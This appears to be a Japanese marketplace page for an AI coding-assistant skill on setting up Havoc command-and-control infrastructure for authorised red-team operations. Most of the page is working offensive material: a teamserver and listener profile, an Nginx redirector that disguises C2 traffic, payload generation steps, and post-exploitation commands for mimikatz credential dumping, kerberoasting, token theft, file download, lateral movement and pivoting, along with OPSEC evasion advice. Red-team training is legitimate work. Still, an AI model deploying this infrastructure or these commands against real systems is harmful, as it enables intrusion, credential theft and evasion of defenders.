mcpField
B
building-red-team-c2-infrastructure-with-havoc

building-red-team-c2-infrastructure-with-havoc

github.com/mukul975セキュリティ35.2k180 回インストール8 週間前に更新
リポジトリ

building-red-team-c2-infrastructure-with-havoc について

許可を得た作戦向けに Havoc C2 インフラの構築と設定を解説する、レッドチームやセキュリティ設計者向けのスキルです。Teamserver、通信プロファイル、リスナー、Demon の操作を扱い、OPSEC にも触れます。

主な機能

  1. 01Havoc Teamserver の導入
  2. 02通信プロファイルの設定
  3. 03HTTP、HTTPS、SMB リスナーの構成
  4. 04リダイレクター経由の通信
  5. 05Demon ペイロードの生成
  6. 06Demon セッションの管理

活用シーン

  1. 01許可されたレッドチーム演習の C2 環境構築
  2. 02HTTPS リダイレクター基盤の設定
  3. 03許可された Windows の侵入後テスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill building-red-team-c2-infrastructure-with-havoc

インストール後、Claude Code で/building-red-team-c2-infrastructure-with-havocを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

Havocを使用したレッドチームC2インフラストラクチャの構築

概要

Havocは、C5piderが開発した最新のオープンソースの侵入後コマンド&コントロール(C2)フレームワークです。Cobalt Strikeに似た複数オペレーターで共同利用できるインターフェースを提供し、Windowsの侵入後操作向けのDemonエージェント、トラフィックを柔軟に変更する設定用のカスタマイズ可能なプロファイル、HTTP/HTTPS/SMBリスナーへの対応を備えています。このスキルでは、許可を得たレッドチーム活動で適切なOPSECを考慮しながら、本番環境向けのHavoc C2インフラストラクチャを展開する方法を説明します。

使用する場面

  • お使いの環境でHavocの機能を活用したレッドチームC2インフラストラクチャを構築、展開、または設定する場合
  • コンプライアンス要件に沿ったセキュリティ制御を確立する場合
  • このドメインのセキュリティアーキテクチャを構築または改善する場合
  • この実装を必要とするセキュリティ評価を実施する場合

前提条件

  • Ubuntu 22.04 LTSまたはDebian 11+(Teamserver用)
  • Kali Linux 2023+(Client用)
  • VPSプロバイダー:DigitalOcean、Linode、またはAWS EC2(最低2GB RAM、2 vCPU)
  • 有効なSSL証明書を備えた、登録から30日以上経過したドメイン名
  • レッドチーム活動の書面による承認

アーキテクチャ

┌──────────────────────────────────────────────────────────────┐
│                    HAVOC C2 ARCHITECTURE                      │
├──────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │
│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │
│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │
│  │  (Kali)   │     │  (Nginx/CDN) │     │                  │ │
│  └──────────┘     └──────────────┘     └──────────────────┘ │
│       │                   │                                   │
│       │           ┌──────────────┐                            │
│       └──────────▶│  Havoc       │                            │
│                   │  Teamserver  │                            │
│                   │  (Ubuntu VPS)│                            │
│                   │  Port 40056  │                            │
│                   └──────────────┘                            │
│                                                               │
└──────────────────────────────────────────────────────────────┘

手順1:Havoc Teamserverをインストールする

# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
    python3-dev libboost-all-dev mingw-w64 nasm

# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build

# Build the Client
make client-build

手順2:Teamserverのプロファイルを設定する

Havocプロファイル(havoc.yaotl)を作成します。

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "Str0ngP@ssw0rd!"
    }
    user "operator2" {
        Password = "An0th3rP@ss!"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["c2.yourdomain.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

        Uris = [
            "/api/v2/auth",
            "/api/v2/status",
            "/content/images/gallery",
        ]

        Headers = [
            "X-Requested-With: XMLHttpRequest",
            "Content-Type: application/json",
        ]

        Response {
            Headers = [
                "Content-Type: application/json",
                "Server: nginx/1.24.0",
                "X-Frame-Options: DENY",
            ]
        }
    }
}

Demon {
    Sleep  = 10
    Jitter = 30

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

手順3:Teamserverを起動する

# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v

# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443

手順4:HTTPSリダイレクターを設定する

別のVPS上にNginxリバースプロキシを設定し、リダイレクターとして使用します。

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2.yourdomain.com;

    ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;

    # Only forward traffic matching C2 URIs
    location /api/v2/auth {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    location /api/v2/status {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    location /content/images/gallery {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    # Redirect all other traffic to legitimate site
    location / {
        return 301 https://www.microsoft.com;
    }
}

手順5:Demonペイロードを生成する

# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe

# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver

手順6:Demonによる侵入後操作を行う

Demonセッションがチェックインしたら、一般的な侵入後操作のコマンドを実行できます。

# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all

# Process listing
demon> proc list

# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe

# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All

# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password

# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast

# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER

# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80

OPSECに関する考慮事項

項目推奨事項
ドメインの経過日数活動の30日以上前にドメインを登録します
SSL証明書Let's Encryptまたは購入した証明書を使用し、自己署名証明書は使用しません
カテゴリ分類ドメインのカテゴリ分類をBluecoat/Fortiguardに申請します
スリープ/ジッター長期運用では、スリープを最低10秒、ジッターを30%超に設定します
User-Agent対象組織で一般的に使用されるブラウザーのユーザーエージェントに合わせます
キル日ペイロードの有効期限を活動の終了日に設定します
インフラストラクチャTeamserver、リダイレクター、フィッシング用インフラストラクチャを分離します
ペイロード形式生のEXEではなく、カスタムローダーを使用したシェルコードを使います

MITRE ATT&CKマッピング

テクニックID名前フェーズ
T1583.001インフラストラクチャの取得:ドメインリソース開発
T1583.003インフラストラクチャの取得:仮想プライベートサーバーリソース開発
T1587.001機能の開発:マルウェアリソース開発
T1071.001アプリケーション層プロトコル:Webプロトコルコマンド&コントロール
T1573.002暗号化チャネル:非対称暗号化コマンド&コントロール
T1090.002プロキシ:外部プロキシコマンド&コントロール
T1105侵入ツールの転送コマンド&コントロール
T1055プロセスインジェクション防御回避

参考資料

コメント